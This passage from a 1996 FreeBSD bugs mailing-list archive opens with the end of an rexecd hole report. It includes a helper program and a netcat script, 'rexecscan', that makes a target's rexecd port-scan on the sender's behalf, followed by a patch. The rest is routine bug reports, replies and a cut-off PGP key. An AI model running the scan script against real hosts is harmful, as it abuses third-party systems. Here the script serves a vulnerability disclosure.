memcpy (p, argv[1], x); /* port plus null */ x++; p += x; y += x; if (! argv[2]) goto wrong; x = strlen (argv[2]); memcpy (p, argv[2], x); /* second arg plus null */ x++; p += x; y += x; if (! argv[3]) goto wrong; x = strlen (argv[3]); memcpy (p, argv[3], x); /* third arg plus null */ x++; p += x; y += x; q = cmd; if (argv[4]) q = argv[4]; x = strlen (q); /* not checked -- bfd */ memcpy (p, q, x); /* the command, plus final null */ x++; p += x; y += x; memcpy (p, "\n", 1); /* and a newline, so it goes */ y++; write (1, buf, y); /* zot! */ exit (0); wrong: fprintf (stderr, "%s: port arg arg\n",argv[0]); exit (1); } end prservice.c begin rexecscan #!/bin/sh # Dumb script to demonstrate scanning with rexecd # jaeger, 12Nov1996 # Path to netcat NC=nc # Path to prservice program PRS=./prservice # Port to scan to MAX=1024 TARGET=$1 USER=$2 PASSWORD=$3 PORT=1 if [ $# -ne 3 ]; then echo "$0 targethost username password" fi while [ $PORT -lt $MAX ]; do $PRS $PORT $USER $PASSWORD "echo $PORT open" | $NC $TARGET 512 PORT=`expr $PORT + 1` done exit 0 end rexecscan >Fix: *** rexecd.c.dist Mon Nov 11 11:32:23 1996 --- rexecd.c Thu Nov 14 01:55:17 1996 *************** *** 151,168 **** port = port * 10 + c - '0'; } (void) alarm(0); ! if (port != 0) { ! s = socket(AF_INET, SOCK_STREAM, 0); ! if (s < 0) ! exit(1); ! if (bind(s, (struct sockaddr *)&asin, sizeof (asin)) < 0) ! exit(1); ! (void) alarm(60); ! fromp->sin_port = htons(port); ! if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0) ! exit(1); ! (void) alarm(0); ! } getstr(user, sizeof(user), "username"); getstr(pass, sizeof(pass), "password"); getstr(cmdbuf, sizeof(cmdbuf), "command"); --- 151,157 ---- port = port * 10 + c - '0'; } (void) alarm(0); ! getstr(user, sizeof(user), "username"); getstr(pass, sizeof(pass), "password"); getstr(cmdbuf, sizeof(cmdbuf), "command"); *************** *** 215,220 **** --- 204,227 ---- error("No remote directory.\n"); exit(1); } + + if (port != 0) { + if ((port != 0) && (port < IPPORT_RESERVED)) { + syslog(LOG_ERR, "client stderr port in reserved range\n"); + exit(1); + } + s = socket(AF_INET, SOCK_STREAM, 0); + if (s < 0) + exit(1); + if (bind(s, (struct sockaddr *)&asin, sizeof (asin)) < 0) + exit(1); + (void) alarm(60); + fromp->sin_port = htons(port); + if (connect(s, (struct sockaddr *)fromp, sizeof (*fromp)) < 0) + exit(1); + (void) alarm(0); + } + (void) write(2, "\0", 1); if (port) { (void) pipe(pv); *************** *** 255,260 **** --- 262,268 ---- (void) close(s); (void)close(pv[0]); dup2(pv[1], 2); } + if (*pwd->pw_shell == '\0') pwd->pw_shell = _PATH_BSHELL; if (f > 2) >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Nov 18 21:24:31 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA16406 for bugs-outgoing; Mon, 18 Nov 1996 21:24:31 -0800 (PST) Received: (from fenner@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id VAA16394; Mon, 18 Nov 1996 21:24:30 -0800 (PST) Date: Mon, 18 Nov 1996 21:24:30 -0800 (PST) From: Bill Fenner Message-Id: <199611190524.VAA16394@freefall.freebsd.org> To: fenner, gnats-admin, freebsd-bugs Subject: Re: pending/2033 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: unmount of doubly mounted devfs forces panic Responsible-Changed-From-To: gnats-admin->freebsd-bugs Responsible-Changed-By: fenner Responsible-Changed-When: Mon Nov 18 21:23:12 PST 1996 Responsible-Changed-Why: Refiled from gnats-admin From owner-freebsd-bugs Mon Nov 18 22:01:56 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id WAA18084 for bugs-outgoing; Mon, 18 Nov 1996 22:01:56 -0800 (PST) Received: from spitfire.ecsel.psu.edu (qmailr@spitfire.ecsel.psu.edu [146.186.218.51]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id WAA18079 for ; Mon, 18 Nov 1996 22:01:53 -0800 (PST) Received: (qmail 14687 invoked by uid 1000); 19 Nov 1996 06:02:50 -0000 Message-ID: <19961119060250.14686.qmail@spitfire.ecsel.psu.edu> To: Robert Nordier cc: bugs@freebsd.org Subject: Re: kern/2043: 2.2-ALPHA stdio problems? (Bad Address errors) In-reply-to: Your message of "Sat, 19 Nov 1996 02:18:20 +0200." <199611190018.CAA10920@eac.iafrica.com> Date: Tue, 19 Nov 1996 01:02:50 -0500 From: Dan Cross Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I also have 2.2-ALPHA installed on an old test system with virtually > identical hardware. EFAULTs are being reported regularly (though > not quite consistently) by vi; by ftp; and (most reproducibly: about > 4 times out of 5) by sendmail when invoked by procmail: > > sendmail[999]: NOQUEUE: SYSERR(root): getrequests: accept: Bad > address > > The problem appears worse when the system is under load (eg. vi > suddenly crashed just now when the `daily' script started). Yes, those problems are consistent with what I am seeing. Oh good, that means it's probably not my hardware. :-) > Prior to installing 2.2-ALPHA, the system has run 2.0-RELEASE > through 2.1.5-RELEASE flawlessly. Excellent. I think I'm going to laterallygrade to 2.1.6-RELEASE, at least until 2.2-RELEASE comes out. (Eventually I want 2.2 running on the machine in question, but for now 2.1.6 is stable and just great for what we're trying to do. :-) I'd like to help debug 2.2-ALPHA, but the end of the semester is coming up, and I find that I have more work to do than I want, and I just don't have the time. :-( - Dan C. From owner-freebsd-bugs Tue Nov 19 00:50:04 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA23584 for bugs-outgoing; Tue, 19 Nov 1996 00:50:04 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id AAA23578; Tue, 19 Nov 1996 00:50:03 -0800 (PST) Resent-Date: Tue, 19 Nov 1996 00:50:03 -0800 (PST) Resent-Message-Id: <199611190850.AAA23578@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, ohki@gssm.otsuka.tsukuba.ac.jp Received: from utogw.gssm.otsuka.tsukuba.ac.jp (utogwgw.gssm.otsuka.tsukuba.ac.jp [130.158.176.189]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id AAA23424 for ; Tue, 19 Nov 1996 00:43:48 -0800 (PST) Received: from smri01.gssm.otsuka.tsukuba.ac.jp (smri01 [192.50.17.160]) by utogw.gssm.otsuka.tsukuba.ac.jp (8.6.12/8.6.9) with ESMTP id RAA02236 for ; Tue, 19 Nov 1996 17:42:55 +0900 Received: (from ohki@localhost) by smri01.gssm.otsuka.tsukuba.ac.jp (8.7.5/8.7.3) id RAA07432; Tue, 19 Nov 1996 17:42:23 +0900 (JST) Message-Id: <199611190842.RAA07432@smri01.gssm.otsuka.tsukuba.ac.jp> Date: Tue, 19 Nov 1996 17:42:23 +0900 (JST) From: ohki@gssm.otsuka.tsukuba.ac.jp Reply-To: ohki@gssm.otsuka.tsukuba.ac.jp To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: i386/2058: amity series machines can not show installation menu Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2058 >Category: i386 >Synopsis: amity series machines can not show installation menu >Confidential: yes >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Tue Nov 19 00:50:01 PST 1996 >Last-Modified: >Originator: Atsuo Ohki >Organization: GSSM, Univ. of Tsukuba, otsuka, tokyo, japan >Release: FreeBSD 2.2-ALPHA >Environment: Mitsubish Amity series Pen Computer (amity/vc, amity/sp) FreeBSD-961014-SNAP and later >Description: After booting the machine with boot.flp, Installation menu should be displayed on the screen, but the screen is filled with meaningless color patches. >How-To-Repeat: Just boot the machine with boot.flp (of 2.2-961014-SNAP or later) >Fix: Video mode map tables of Mitsubishi Amity series machines are somehow different from other DOS machines. In order to make M_VGA_C80x25 mode works (at least), video_mode_ptr (fetched by scinit()) should be adjusted via boot configuration or kernel configuration time. Following context diff supports: boot configuration: via id_flags of sc0 (bit 8 to bit 11) kernel configuration: options "VIDEO_MODE_OFFSET=x" where x=7 for amity/sp, x=5 for amity/vc --- syscons.h Tue Nov 12 18:08:00 1996 +++ syscons.h-new Mon Nov 18 17:50:04 1996 @@ -71,6 +71,7 @@ #define CHAR_CURSOR 0x00004 #define DETECT_KBD 0x00008 #define XT_KEYBD 0x00010 +#define VIDEO_OFF(x) ((x) >> 8) /* attribute flags */ #define NORMAL_ATTR 0x00 --- syscons.c Tue Nov 19 17:28:49 1996 +++ syscons.c-new Tue Nov 19 17:29:09 1996 @@ -102,6 +102,7 @@ static default_attr *current_default; static int flags = 0; static char init_done = COLD; +static char vmp_modified = 0; /* XXX */ static u_short sc_buffer[ROW*COL]; static char switch_in_progress = FALSE; static char write_in_progress = FALSE; @@ -383,6 +384,14 @@ #endif scinit(); +#if 1 /* local modification */ + if (!vmp_modified && video_mode_ptr != NULL) { + int off = VIDEO_OFF(dev->id_flags); + if (off & 0x10) off |= ~0x0f; + video_mode_ptr -= off * 64; + vmp_modified = 1; + } +#endif flags = dev->id_flags; scp = console[0]; @@ -883,6 +892,10 @@ if (!crtc_vga || video_mode_ptr == NULL) return ENXIO; +#ifdef VIDEO_MODE_OFFSET + if ((cmd & 0xff) < VIDEO_MODE_OFFSET) + return ENXIO; +#endif switch (cmd & 0xff) { case M_VGA_C80x60: case M_VGA_M80x60: if (!(fonts_loaded & FONT_8)) @@ -2331,6 +2344,11 @@ pa = (((segoff & 0xffff0000) >> 12) + (segoff & 0xffff)); if (ISMAPPED(pa, 64)) video_mode_ptr = (char *)pa_to_va(pa); +#ifdef VIDEO_MODE_OFFSET + if (video_mode_ptr != NULL) + video_mode_ptr -= (VIDEO_MODE_OFFSET)*64; + vmp_modified = 1; +#endif } } current_default = &user_default; >Audit-Trail: >Unformatted: From owner-freebsd-bugs Tue Nov 19 01:17:51 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id BAA24661 for bugs-outgoing; Tue, 19 Nov 1996 01:17:51 -0800 (PST) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id BAA24650 for ; Tue, 19 Nov 1996 01:17:41 -0800 (PST) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id KAA19168; Tue, 19 Nov 1996 10:16:35 +0100 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id KAA25699; Tue, 19 Nov 1996 10:16:34 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.2/8.6.9) id KAA07270; Tue, 19 Nov 1996 10:07:22 +0100 (MET) From: J Wunsch Message-Id: <199611190907.KAA07270@uriah.heep.sax.de> Subject: Re: kern/2043: 2.2-ALPHA stdio problems? (Bad Address errors) To: tenser@spitfire.ecsel.psu.edu (Dan Cross) Date: Tue, 19 Nov 1996 10:07:22 +0100 (MET) Cc: rnordier@iafrica.com, bugs@freebsd.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <19961119060250.14686.qmail@spitfire.ecsel.psu.edu> from Dan Cross at "Nov 19, 96 01:02:50 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Dan Cross wrote: > > Prior to installing 2.2-ALPHA, the system has run 2.0-RELEASE > > through 2.1.5-RELEASE flawlessly. > > Excellent. I think I'm going to laterallygrade to 2.1.6-RELEASE, > at least until 2.2-RELEASE comes out. Sorry, 2.2-RELEASE is likely to ship with this bug, too, unless somebody who really experiences it is going to find it. It's always hard to fix bugs you cannot reproduce (and right now, it looks as if only very few people see this one). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Tue Nov 19 07:15:33 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id HAA11402 for bugs-outgoing; Tue, 19 Nov 1996 07:15:33 -0800 (PST) Received: from dec.acnit.ac.ru ([193.233.113.20]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id HAA11259 for ; Tue, 19 Nov 1996 07:12:02 -0800 (PST) Received: (from root@localhost) by dec.acnit.ac.ru (8.7.5/8.7.3) id SAA00193 for bugs@freebsd.org; Tue, 19 Nov 1996 18:11:40 +0300 (MSK) Date: Tue, 19 Nov 96 15:11:40 +0000 From: root@dec.acnit.ac.ru (Charlie &) To: bugs@freebsd.org Message-ID: Subject: FreeBSD can't find some IDE HD drives X-Mailer: BML [UNIX Beauty Mail v.1.39] Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk FreeBSD 2.1.0 and 2.1.5 can't find HD controller on computers with SAMSUNG SHD 30560A (ARPO-5) SSI , 535 MB 1087 cylinders/16 heads /63 sectors HD drives if it's jumpers not set to 1 DRIVE but set to MASTER when boot diskette's kernel loading. If jumpers turns to 1 DRIVE boot diskette loads successfully, and installation finished completely, but FreeBSD boot manager can't load FreeBSD kernel from HD drive. And if I tried to use OS/2 boot manager FreeBSD boots, but not from OS/2 boot manager and from FreeBSD boot manager. It's strange . Why ? From owner-freebsd-bugs Tue Nov 19 08:40:12 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA15989 for bugs-outgoing; Tue, 19 Nov 1996 08:40:12 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA15977; Tue, 19 Nov 1996 08:40:08 -0800 (PST) Resent-Date: Tue, 19 Nov 1996 08:40:08 -0800 (PST) Resent-Message-Id: <199611191640.IAA15977@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, randy@zyzzyva.com Received: from sierra.zyzzyva.com (ppp0.zyzzyva.com [198.183.2.50]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA15815 for ; Tue, 19 Nov 1996 08:37:41 -0800 (PST) Received: (from root@localhost) by sierra.zyzzyva.com (8.8.2/8.8.2) id KAA03695; Tue, 19 Nov 1996 10:37:38 -0600 (CST) Message-Id: <199611191637.KAA03695@sierra.zyzzyva.com> Date: Tue, 19 Nov 1996 10:37:38 -0600 (CST) From: randy@zyzzyva.com Reply-To: randy@zyzzyva.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: misc/2060: include file bugs Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2060 >Category: misc >Synopsis: include files don't agree on prototypes >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Tue Nov 19 08:40:04 PST 1996 >Last-Modified: >Originator: Randy Terbush >Organization: Zyzzyva Enterprises >Release: FreeBSD 2.1.6-RELEASE i386 >Environment: FreeBSD 2.1.6 >Description: include/link.h and include/dlfcn.h disagree about prototypes listed as "critical" knowing pending release >How-To-Repeat: compile something using dl functions >Fix: *** /usr/include/link.h.orig Tue Nov 19 10:15:24 1996 --- src/include/link.h Tue Nov 19 10:17:58 1996 *************** *** 174,182 **** * to crt0. */ struct ld_entry { ! void *(*dlopen) __P((char *, int)); /* NONE */ int (*dlclose) __P((void *)); /* NONE */ ! void *(*dlsym) __P((void *, char *)); /* NONE */ char *(*dlerror) __P((void)); /* NONE */ void (*dlexit) __P((void)); /* HAS_DLEXIT */ }; --- 174,182 ---- * to crt0. */ struct ld_entry { ! void *(*dlopen) __P((const char *, int)); /* NONE */ int (*dlclose) __P((void *)); /* NONE */ ! void *(*dlsym) __P((void *, const char *)); /* NONE */ char *(*dlerror) __P((void)); /* NONE */ void (*dlexit) __P((void)); /* HAS_DLEXIT */ }; *************** *** 184,192 **** /* * dl*() prototypes. */ ! extern void *dlopen __P((char *, int)); extern int dlclose __P((void *)); ! extern void *dlsym __P((void *, char *)); extern char *dlerror __P((void)); --- 184,192 ---- /* * dl*() prototypes. */ ! extern void *dlopen __P((const char *, int)); extern int dlclose __P((void *)); ! extern void *dlsym __P((void *, const char *)); extern char *dlerror __P((void)); >Audit-Trail: >Unformatted: From owner-freebsd-bugs Tue Nov 19 09:10:09 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA17517 for bugs-outgoing; Tue, 19 Nov 1996 09:10:09 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA17510; Tue, 19 Nov 1996 09:10:06 -0800 (PST) Resent-Date: Tue, 19 Nov 1996 09:10:06 -0800 (PST) Resent-Message-Id: <199611191710.JAA17510@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, wollman@khavrinen.lcs.mit.edu Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.26.0.162]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id JAA17046 for ; Tue, 19 Nov 1996 09:02:06 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.7.6/8.6.6) id MAA22927; Tue, 19 Nov 1996 12:02:02 -0500 (EST) Message-Id: <199611191702.MAA22927@khavrinen.lcs.mit.edu> Date: Tue, 19 Nov 1996 12:02:02 -0500 (EST) From: "Garrett A. Wollman" Reply-To: wollman@khavrinen.lcs.mit.edu To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/2061: DEBUG_FLAGS in bsd.lib.mk is broken Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2061 >Category: bin >Synopsis: DEBUG_FLAGS in bsd.lib.mk is broken >Confidential: no >Severity: non-critical >Priority: high >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Nov 19 09:10:02 PST 1996 >Last-Modified: >Originator: Garrett Wollman >Organization: MIT Laboratory for Computer Science >Release: FreeBSD 2.2-CURRENT i386 >Environment: Well, it's a really old -current but the problem is still there in today's sources.... >Description: DEBUG_FLAGS, when defined during the compilation of a library, is supposed to allow for generation of libraries with debugging symbols in them. It doesn't. >How-To-Repeat: cd /usr/src/lib/libncurses make clean; make DEBUG_FLAGS=-g; make install nm -g /usr/lib/libncurses.a Notice the absence of debugging symbols. >Fix: Put a .if !defined(DEBUG_FLAGS) around the `@$(LD)' command in all of the implicit .o-generating rules. >Audit-Trail: >Unformatted: Garrett A. Wollman From owner-freebsd-bugs Tue Nov 19 11:11:12 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA24991 for bugs-outgoing; Tue, 19 Nov 1996 11:11:12 -0800 (PST) Received: from rs1.rrz.Uni-Koeln.DE (rs1.rrz.Uni-Koeln.DE [134.95.100.208]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id LAA24986 for ; Tue, 19 Nov 1996 11:11:00 -0800 (PST) Received: from pc1.scs-koeln.de ([134.95.30.183]) by rs1.rrz.Uni-Koeln.DE with SMTP id AA137929 (5.67b/IDA-1.5 for ); Tue, 19 Nov 1996 20:10:48 +0100 Message-Id: <1.5.4.32.19961119190956.00697288@mail.rrz.uni-koeln.de> X-Sender: afr04@mail.rrz.uni-koeln.de X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 19 Nov 1996 20:09:56 +0100 To: freebsd-bugs@freebsd.org From: Ralf Luettgen Subject: XF86Setup error in 2.2-ALPHA Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, Today I've installed the alpha release of 2.2. After the first configuration of X with XF86Setup I want to change some settings. But when I start XF86Setup again I got a segmentation fault based on signal 11, after the question, if XF86config should be used as defaults. By. From owner-freebsd-bugs Tue Nov 19 11:20:08 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA25615 for bugs-outgoing; Tue, 19 Nov 1996 11:20:08 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id LAA25585; Tue, 19 Nov 1996 11:20:05 -0800 (PST) Resent-Date: Tue, 19 Nov 1996 11:20:05 -0800 (PST) Resent-Message-Id: <199611191920.LAA25585@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, Received: (from nobody@localhost)by.freefall.freebsd.org.id.LAA24964;Tue; (8.7.5/8.7.3);, 19 Nov 1996 11:10:37.-0800 (PST) Message-Id: <199611191910.LAA24964@freefall.freebsd.org> Date: Tue, 19 Nov 1996 11:10:37 -0800 (PST) From: pantzer@ludd.luth.se To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: conf/2063: No file not found message in sysinstall Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2063 >Category: conf >Synopsis: No file not found message in sysinstall >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Nov 19 11:20:02 PST 1996 >Last-Modified: >Originator: Mattias Pantzare >Organization: >Release: 2.1.6-RELEASE >Environment: >Description: If I select for example XFree86 for extraction and the ftp mirror lacs the needed files, it won't give an error message. It just pretends it did the work. >How-To-Repeat: Se description >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Tue Nov 19 13:32:04 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA07649 for bugs-outgoing; Tue, 19 Nov 1996 13:32:04 -0800 (PST) Received: (from pst@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA07618; Tue, 19 Nov 1996 13:31:53 -0800 (PST) Date: Tue, 19 Nov 1996 13:31:53 -0800 (PST) From: Paul Traina Message-Id: <199611192131.NAA07618@freefall.freebsd.org> To: jaeger@dhp.com, pst, freebsd-bugs Subject: Re: bin/2055 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: Minor holes in rexecd State-Changed-From-To: open-closed State-Changed-By: pst State-Changed-When: Tue Nov 19 13:30:45 PST 1996 State-Changed-Why: fixed in current, patch submitted to 2.1 release master From owner-freebsd-bugs Tue Nov 19 14:10:19 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA10211 for bugs-outgoing; Tue, 19 Nov 1996 14:10:19 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA10201; Tue, 19 Nov 1996 14:10:14 -0800 (PST) Resent-Date: Tue, 19 Nov 1996 14:10:14 -0800 (PST) Resent-Message-Id: <199611192210.OAA10201@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, pst@jnx.com Received: from red.jnx.com (red.jnx.com [208.197.169.254]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA10064 for ; Tue, 19 Nov 1996 14:08:32 -0800 (PST) Received: (from pst@localhost) by red.jnx.com (8.8.3/8.8.3) id OAA11817; Tue, 19 Nov 1996 14:08:01 -0800 (PST) Message-Id: <199611192208.OAA11817@red.jnx.com> Date: Tue, 19 Nov 1996 14:08:01 -0800 (PST) From: Paul Traina Reply-To: pst@jnx.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/2065: in tzsetup, make USA easier to get to... Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2065 >Category: bin >Synopsis: in tzsetup, make USA easier to get to... >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: change-request >Submitter-Id: current-users >Arrival-Date: Tue Nov 19 14:10:07 PST 1996 >Last-Modified: >Originator: Paul Traina >Organization: Juniper Networks >Release: FreeBSD 2.2 prerelease >Environment: >Description: Before we ship 2.2, we should really move the US timezones someplace easier to get to them. Yes, I'm in the US, and yes, I'm a damn bigot. Considering the number of US installations of FreeBSD, it's really annoying to have to navigate through several pages of menus to set US/Pacific. Failing that, make it so that a user that knows WTF they are doing can set the timezone in the install program by typing "US/Pacific". >How-To-Repeat: Install freebsd or run tzsetup. >Fix: See above. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Tue Nov 19 14:28:54 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA11320 for bugs-outgoing; Tue, 19 Nov 1996 14:28:54 -0800 (PST) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id OAA11300 for ; Tue, 19 Nov 1996 14:28:32 -0800 (PST) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <36749(1)>; Tue, 19 Nov 1996 14:27:44 PST Received: from localhost by crevenia.parc.xerox.com with SMTP id <177558>; Tue, 19 Nov 1996 11:53:15 -0800 To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: freebsd-bugs@freebsd.org (FreeBSD bugs list), jin@george.lbl.gov Subject: Re: diff somehow does not work properly in 2.2-ALPHA In-reply-to: Your message of "Mon, 18 Nov 96 14:41:47 PST." <199611182241.XAA02531@uriah.heep.sax.de> Date: Tue, 19 Nov 1996 11:53:05 PST From: Bill Fenner Message-Id: <96Nov19.115315pst.177558@crevenia.parc.xerox.com> Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199611182241.XAA02531@uriah.heep.sax.de> you write: >Seems to be intentional. No. Stdout got closed before any of the input files were opened. The events were: 1. stdout got closed. 2. files got opened. 3. files got read and compared. 4. output attempts to be written. 5. writing to closed stdout fails, so print error. Bill From owner-freebsd-bugs Tue Nov 19 16:03:06 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA17337 for bugs-outgoing; Tue, 19 Nov 1996 16:03:06 -0800 (PST) Received: from mule0.mindspring.com (mule0.mindspring.com [204.180.128.166]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA17332 for ; Tue, 19 Nov 1996 16:03:04 -0800 (PST) Received: from rlb.users.mindspring.com (user-168-121-25-139.dialup.mindspring.com [168.121.25.139]) by mule0.mindspring.com (8.8.2/8.7.3) with SMTP id AAA20344 for ; Wed, 20 Nov 1996 00:02:51 GMT Message-ID: <32924AC3.167EB0E7@mindspring.com> Date: Tue, 19 Nov 1996 19:03:15 -0500 From: Ron Bolin X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 3.0-CURRENT i386) MIME-Version: 1.0 To: freebsd-bugs@freebsd.org Subject: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk unsubscribe freebsd-bugs rlb@mindspring.com end -- **************************************************************************** Ron Bolin rlb@mindspring.com, http://www.mindspring.com/~rlb/ GSU: gs01rlb@panther.gsu.edu matrlbx@indigo4.cs.gsu.edu Home: 770-992-8877 **************************************************************************** From owner-freebsd-bugs Tue Nov 19 18:40:48 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA26245 for bugs-outgoing; Tue, 19 Nov 1996 18:40:48 -0800 (PST) Received: from bock.salnet.net (gp-pm6-13.dip.cdsnet.net [204.118.246.208]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA26238 for ; Tue, 19 Nov 1996 18:40:45 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by bock.salnet.net (8.7.6/8.7.3) with SMTP id SAA31055 for ; Tue, 19 Nov 1996 18:40:40 -0800 Date: Tue, 19 Nov 1996 18:40:40 -0800 (PST) From: Steve Logue X-Sender: stevel@bock.salnet.net To: bugs@FreeBSD.org Subject: Returned mail: Service unavailable (fwd) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/REPORT; REPORT-TYPE=delivery-status; BOUNDARY="SAA31000.848457053/bock.salnet.net" Content-ID: Sender: owner-bugs@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --SAA31000.848457053/bock.salnet.net Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Jordan, Please change the FTP by mail address in your public announcements. Please review: -STEVEl -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAzJAjoMAAAEEAMEush9FHzpdHrCjgvZEFzgAjhqjOkUGXwSXsnlqAwQfRsiv 